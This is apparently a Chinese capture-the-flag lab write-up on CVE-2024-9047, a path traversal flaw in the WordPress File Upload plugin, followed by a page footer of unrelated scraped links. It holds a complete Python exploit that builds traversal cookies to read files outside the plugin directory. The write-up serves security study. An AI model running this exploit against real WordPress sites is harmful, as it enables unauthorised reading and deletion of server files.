当前位置: 首页 > news >正文

【春秋云镜】CVE-2024-9047 Wordpress File Upload 插件 文件遍历漏洞

一、靶场介绍

WordPress 的 File Upload 插件在所有版本(包括 4.24.11)中都存在路径遍历漏洞,漏洞位于 wfu_file_downloader.php 文件中。这使得未经身份验证的攻击者可以读取或删除超出原定目录之外的文件。

在这里插入图片描述

漏洞分析

调用函数 wfu_fopen_for_downloader
在这里插入图片描述
这里调用了wfu_fopen_for_downloader
在这里插入图片描述

这两个地方也调用了
在这里插入图片描述

寻找参数的传入位置

在这里插入图片描述

二、POC

import requests
import time
import argparsedef exploit(target_url):timestamp = str(int(time.time()))path = "/wp-content/plugins/wp-file-upload/wfu_file_downloader.php"query_params = {'file': 'yosheep','handler': 'dboption','session_legacy': '1','dboption_base': 'cookies','dboption_useold': '1','wfu_cookie': '1','ticket': 'yosheep'}cookies = {f'wfu_storage_yosheep': '/../../../../../../flag',f'wfu_download_ticket_yosheep': timestamp,'wfu_ABSPATH': '/var/www/html/'}headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",}try:response = requests.get(f"{target_url.rstrip('/')}{path}",params=query_params,cookies=cookies,headers=headers,timeout=10)response.raise_for_status()return response.textexcept requests.exceptions.RequestException as e:return f"请求失败: {str(e)}"
def main():parser = argparse.ArgumentParser(description='CVE-2024-9047漏洞利用工具')parser.add_argument('url', help='目标URL(包含协议,如http://example.com)')args = parser.parse_args()result = exploit(args.url)print(f"结果返回:\n{result}")if __name__ == '__main__':main()

获取flag
在这里插入图片描述

最后也没看明白为什么传入地方时cookie,可能是在函数处理时对cookie的值进行引入了。
感兴趣的可以看这个位博主的文章:

(CVE-2024-9047)wordpress插件wp-file-upload任意文件读取分析及复现(含payload)

http://www.dtcms.com/a/482233.html

相关文章:

  • yahoo怎么提交网站下载拼多多app免费下载
  • php网站怎么注入网业协同是什么意思
  • 天机学堂day10领取优惠券接口编写mapper层sql语句时无法解析表的解决办法(更加完整、详细图解)
  • 力扣Hot100--102.二叉树的层序遍历
  • 【Linux】udp网络程序
  • 网站首页地址 网站域名海外购物商城
  • 解码Linux文件IO之标准IO
  • React惰性初始化函数(Lazy Initializer)(首次渲染时执行一次,只执行一次,应对昂贵初始化逻辑)(传入一个函数、传入函数)
  • C++中的类
  • 网站上线 流程wordpress禁止加载谷歌字体
  • 阿里云是做网站的吗榆林公司做网站
  • 2018年10月江苏省自考《信息组织》试题
  • 跨域处理的核心是解决浏览器的“同源策略”限制,主流方案
  • Web 开发 30
  • 小迪web自用笔记62
  • Nginx 代理 WebSocket 失败排查全过程:从 426 到连接成功的完整复盘
  • multi-head attention 多头注意力实现细节
  • 第七章 完整的模型训练
  • 08-Vue3组合式API最佳实践指南
  • 山东网站建设网站做全世界的生意的网站
  • 【文献分享】通过基于大型语言模型嵌入的蛋白质的 k 均值聚类来探索同源性检测
  • Redis 黑马点评-优惠券秒杀
  • 网站页面示意图怎么做宁波北仑做网站
  • ffmpeg转化mp3至wav格式
  • 不同类型的 3D 文件格式
  • ElasticSearch 实战:全文检索与数据聚合分析的完整指南​
  • Day62 设备驱动程序开发基础与LED控制
  • 支持Word (doc/docx) 和 PDF 转成一张垂直拼接的长PNG图片工具类
  • JAVA同城预约服务家政服务美容美发洗车保洁搬家维修家装系统源码小程序+公众号+h5
  • 正规拼多多代运营公司如何优化网站结构